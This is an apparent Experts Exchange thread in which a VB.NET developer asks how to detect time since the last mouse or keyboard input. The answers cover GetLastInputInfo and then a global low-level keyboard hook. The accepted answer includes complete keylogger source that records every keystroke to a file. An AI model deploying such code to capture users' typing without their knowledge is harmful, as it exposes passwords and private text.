Solved

Find time since last user input in VB .NET

Posted on 2009-05-14
14
580 Views
Last Modified: 2013-11-25
Does anyone know a way to find the time since the last user input (mouse or keyboard). I do not want this to effect system performance so I do not think it is a good idea to capture all user input so I am hoping someone knows about an alternative way. Thanks J
0
Comment
Question by:jes12345
  • 8
  • 6
14 Comments
 
LVL 75

Expert Comment

by:käµfm³d 👽
ID: 24389599
0
 
LVL 75

Expert Comment

by:käµfm³d 👽
ID: 24389672
VB Translation:
<DllImport("user32.dll")> _

Shared Function GetLastInputInfo(ByRef plii As LASTINPUTINFO) As Boolean

End Function
 

Friend Structure LASTINPUTINFO 

    Public cbSize As UInt;

    Public dwTime As UInt;

End Structure

Open in new window

0
 

Author Comment

by:jes12345
ID: 24390028
In order to get it to work I had to put the code in a module. However the objects time is 0 even after the sleep.
Module Module1

    Public Function GetLastInputInfo(ByRef plii As LASTINPUTINFO) As Boolean

    End Function
 

    Friend Structure LASTINPUTINFO

        Public cbSize As Integer

        Public dwTime As Integer

    End Structure

End Module
 

'AND
 

Imports System.Runtime.InteropServices

Imports System.Text
 

Public Class Form1
 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        System.Threading.Thread.Sleep(15000)
 

        Dim test As New LASTINPUTINFO

        GetLastInputInfo(test)

        MsgBox(test.dwTime)

    End Sub

End Class

Open in new window

0
 
LVL 75

Assisted Solution

by:käµfm³d 👽
käµfm³d   👽 earned 500 total points
ID: 24390898
I updated the code. It would seem I didn't provide all the information. I tested the following and it returned an integer value.
Imports System.Runtime.InteropServices
 

Module WinAPO

    <DllImport("user32.dll")> _

    Function GetLastInputInfo(ByRef plii As LASTINPUTINFO) As Boolean

    End Function
 

    <StructLayout(LayoutKind.Sequential)> _

    Structure LASTINPUTINFO

        <MarshalAs(UnmanagedType.U4)> _

        Public cbSize As Integer
 

        <MarshalAs(UnmanagedType.U4)> _

        Public dwTime As Integer

    End Structure
 

End Module
 

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        System.Threading.Thread.Sleep(3000)
 

        Dim test As New LASTINPUTINFO

        test.cbSize = Marshal.SizeOf(test)

        test.dwTime = 0
 

        GetLastInputInfo(test)

        MsgBox(test.dwTime)

    End Sub
 

End Class

Open in new window

0
 
LVL 75

Expert Comment

by:käµfm³d 👽
ID: 24390907
If I understand correctly, this only applies to your application; it is not system wide.
0
 

Author Comment

by:jes12345
ID: 24392760
Sorry kaufmed but I did not understand your last question. Can I please ask you to elaborate?
Thanks J
0
 
LVL 75

Assisted Solution

by:käµfm³d 👽
käµfm³d   👽 earned 500 total points
ID: 24394476
Do you mean post?

From what I read in the documentation, the GetLastInputInfo() function only tracks the time for input within the application it is being used. So let's say you have your application written and running (and it's using GetLastInputInfo()). If you were to minimize the application and go to something else, while you were in that other application, the GetLastInputInfo() in your application will not track the time in the application you are now using.

--See "Remarks" section
http://msdn.microsoft.com/en-us/library/ms646302(VS.85).aspx
0
DevOps Toolchain Recommendations

Read this Gartner Research Note and discover how your IT organization can automate and optimize DevOps processes using a toolchain architecture.

 

Author Comment

by:jes12345
ID: 24395221
Ok I understand.Thank you for your replies. What I need is really a systemwide function. From reading the article it suggest to create a service using GetLastInputInfo() but that will not be possible on the design. Can you think of any other way of obtaining this? - if not I will find another design approach if installing a service is not an option.
Thanks J
0
 
LVL 75

Expert Comment

by:käµfm³d 👽
ID: 24395534
You could implement some low-level hooks in conjunction with a timer. The low-level hooks will intercept the keyboard/mouse interactions and with each interception, you could restart the timer.
0
 

Author Comment

by:jes12345
ID: 24401488
I guess that would be an option - do you think this would be ok with regards to system performance? Thank you so much for all your help and advises. Before I close this thread and assign the points can I please ask if you have an example of an efficient way of caturing key/mouse system wide? Thanks J
0
 
LVL 75

Accepted Solution

by:
käµfm³d   👽 earned 500 total points
ID: 24404378
The only way I know to do it is with API calls. As far as performance, I don't believe it will hit the system that hard--you are intercepting the messages and forwarding them when you are done with them. Now if you do a bunch of processing before you forward the message, then maybe that could hinder your system, but if you are merely determining last input, then I don't see a lot of processing going on before you forward the message.

I can't remember which project I got the following code from, but it was taken from one of the examples on CodeProject.com. There is no mouse hooking in the following, but it should be along the same lines and easy to find on web.
Imports System

Imports System.Diagnostics

Imports System.Windows.Forms

Imports System.Runtime.InteropServices
 

Namespace KeyLogger
 

    Public Class InterceptKeys

        Private Const WH_KEYBOARD_LL As Integer = 13

        Private Const WM_KEYDOWN As Integer = &H100

        Private Const WM_KEYUP As Integer = &H101

        Private Shared _proc As LowLevelKeyboardProc = AddressOf HookCallback

        Private Shared _hookID As IntPtr = IntPtr.Zero

        Private Shared outFile As System.IO.StreamWriter
 

        Public Shared Sub Main()

            _hookID = SetHook(_proc)

            outFile = New System.IO.StreamWriter("C:\out.txt", True)

            outFile.AutoFlush = True

            Application.Run()

            UnhookWindowsHookEx(_hookID)

            outFile.Close()

            outFile = Nothing

        End Sub
 

        Private Shared Function SetHook(ByVal proc As LowLevelKeyboardProc) As IntPtr

            Using curProcess As Process = Process.GetCurrentProcess()

                Using curModule As ProcessModule = curProcess.MainModule

                    Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)

                End Using

            End Using

        End Function
 

        Private Delegate Function LowLevelKeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
 

        Private Shared Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr

            If nCode >= 0 And wParam = CType(WM_KEYDOWN, IntPtr) Then

                Dim vkCode As Integer = Marshal.ReadInt32(lParam)
 

                If vkCode = 13 Then

                    outFile.WriteLine()

                Else

                    outFile.Write((CType(vkCode, Keys).ToString().Replace("Space", " ").Replace("comma", ",").Replace("ControlKey", "^").Replace("Capital", "<CapsLock>").Replace("Back", "<Backspace>")))

                End If

            End If
 

            Return CallNextHookEx(_hookID, nCode, wParam, lParam)

        End Function
 

        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

        Private Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As LowLevelKeyboardProc, ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr

        End Function
 

        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

        Private Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As Boolean

        End Function
 

        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

        Private Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr

        End Function
 

        <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

        Private Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr

        End Function
 

        <DllImport("user32.dll")> _

        Public Shared Function FindWindow(ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr

        End Function
 

        <DllImport("user32.dll")> _

        Public Shared Function ShowWindow(ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean

        End Function

    End Class

End Namespace

Open in new window

0
 
LVL 75

Assisted Solution

by:käµfm³d 👽
käµfm³d   👽 earned 500 total points
ID: 24404382
I used the above as a key logger on my local machine. I'm sure you could adapt it to suit you needs--I merely wanted to show which API functions (the ones with the DllImport attributes attached) you would need. You could start a timer in HookCallback() to track the time in between inputs.
0
 

Author Comment

by:jes12345
ID: 24405308
Fantastic - I will definately be able to use this for my solution. Thank you so much for all your advises and help kaufmed! J
0
 

Author Closing Comment

by:jes12345
ID: 31581695
Good answer!
0

Featured Post

DevOps Toolchain Recommendations

Read this Gartner Research Note and discover how your IT organization can automate and optimize DevOps processes using a toolchain architecture.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Today I had a very interesting conundrum that had to get solved quickly. Needless to say, it wasn't resolved quickly because when we needed it we were very rushed, but as soon as the conference call was over and I took a step back I saw the correct …
Most everyone who has done any programming in VB6 knows that you can do something in code like Debug.Print MyVar and that when the program runs from the IDE, the value of MyVar will be displayed in the Immediate Window. Less well known is Debug.Asse…
As developers, we are not limited to the functions provided by the VBA language. In addition, we can call the functions that are part of the Windows operating system. These functions are part of the Windows API (Application Programming Interface). U…
This is Part 3 in a 3-part series on Experts Exchange to discuss error handling in VBA code written for Excel. Part 1 of this series discussed basic error handling code using VBA. http://www.experts-exchange.com/videos/1478/Excel-Error-Handlin…

920 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

12 Experts available now in Live!

Get 1:1 Help Now